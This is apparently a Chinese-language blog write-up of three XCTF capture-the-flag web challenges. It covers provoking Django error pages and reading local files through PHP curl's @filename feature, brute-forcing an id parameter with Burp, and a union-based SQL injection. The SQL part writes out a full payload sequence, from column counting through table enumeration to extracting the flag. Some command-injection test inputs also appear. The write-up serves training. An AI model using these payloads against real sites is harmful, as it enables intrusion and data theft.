XCTF(攻防世界)—进阶web题Write Up(一)
前言:這段時間做了一些XCTF的web進階題,真的是學習到了很多知識,就來總結一下。
Cat
一開始以為是命令注入,恰好最近學習了命令注入,就先來測試一下:
輸入127.0.0.1,發現是可以ping通的
輸入127.0.0.1 | phpinfo() 或127.0.0.1 & net user就會顯示:
看來命令注入的方法是行不通的(其他連接符也被過濾了,如&&、||等)
沒有思路了,就看了大師傅們的Write Up,大意就是在URL那里構造錯誤的參數,使頁面進行報錯,通過頁面報錯從中找出需要的信息。
當輸入?url=%79執行完時變成了url=y
看來可以傳遞url編碼,服務器會接受并進行解析,所以這里就構造最大的參數看是否會報錯。
HTML URL 編碼
輸入:
發現確實報錯
其實在字符編碼方面,ASCII碼在標準符號、數字、英文等取值范圍是0~127,擴展ASCII碼為128~255,url編碼使用的是16進制,一般后臺允許輸入也是標準的ASCII碼而不是擴展ASCII碼,所以當輸入的參數ASCII碼大于127時便會報錯。
報錯出來了就從中找有用的信息,發現:
使用的是python站點,Django框架.百度先大致了解一下Django框架和Django框架目錄,flag一定就在某目錄中放著。
查到關于數據庫的配置文件,可以嘗試一下,看了師傅們的博客說有比賽時這個提示:
RTFM of PHP CURL===>>read the fuck manul of PHP CURL???
那就百度來查PHP CURL,查完還是一頭霧水,看了師傅們的博客說是要找到PHP中curl的CURLOPT_POSTFIELDS。
查到手冊
The full data to post in a HTTP “POST” operation. To post a file, prepend a filename with @ and use the full path. This can either be passed as a urlencoded string like ‘para1=val1?2=val2&…’ or as an array with the field name as key and field data as value. If value is an array, the Content-Type header will be set to multipart/form-data.
使用數組提供 post 數據時,CURL 組件大概是為了兼容 @filename 這種上傳文件的寫法,默認把 content_type 設為了 multipart/form-data。雖然對于大多數服務器并沒有影響,但是還是有少部分服務器不兼容。
發現這一段話
提供 post 數據時,CURL 組件大概是為了兼容 @filename 這種上傳文件的寫法所以根據Django的目錄,使用@進行文件傳遞,對文件進行讀取之后還會把內容傳給url參數,超出解析范圍的編碼的時候就會得到錯誤信息。
那就來嘗試從配置文件settings.py的報錯中看看有沒有database的相關信息
輸入:
查到
并且查出了所在路徑
那就按照這個目錄繼續查詢,看看是否出flag
輸入:
ctrl+f查找ctf得出flag
總結:
這次做題感覺收獲很大,首先是對這種沒有思路時可以去構造語句來得出報錯信息,通過錯誤信息來獲得有用的信息。其次就是curl的@+文件名做本地文件讀取,感覺自己還是懂的太少了,寫的write up也有漏洞和問題,不過繼續努力,附上大師傅博客。
Wupco’s Blog
ics-06
只有報表中心可以點擊進去,查看源碼沒有發現線索,只發現下面提示是一道送分題,觀察URL發現無論傳入id的值為多少,頁面都沒有變化,猜測這道題突破口可能就在id傳參上面,那就用burp來爆破。
先用簡單的py腳本生成字典
for a in range (3000):print(a)發現到了2223時長度不同,打開即可得出flag
總結:
id能夠傳任意參數是突破口,主要練習一下burp爆破
NewsCenter
隨便查一下,發現有回顯
那這道題考的是SQL注入了,并且是最簡單的回顯注入。
判斷出'為閉合符號,當輸入'時頁面報錯,輸入'#頁面回顯正常
判斷列數
payload:
' order by 1#判斷出一共有三列
爆數據庫
payload:
' and 0 union select 1,database(),user()#
爆數據表
payload:
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news'#
爆字段
payload:
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='secret_table' #
爆值
payload:
0' union select 1,group_concat(id,0x3a,fl4g),3 from secret_table#總結
以上是生活随笔為你收集整理的XCTF(攻防世界)—进阶web题Write Up(一)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: PHP危险函数总结
- 下一篇: Bugku—web题解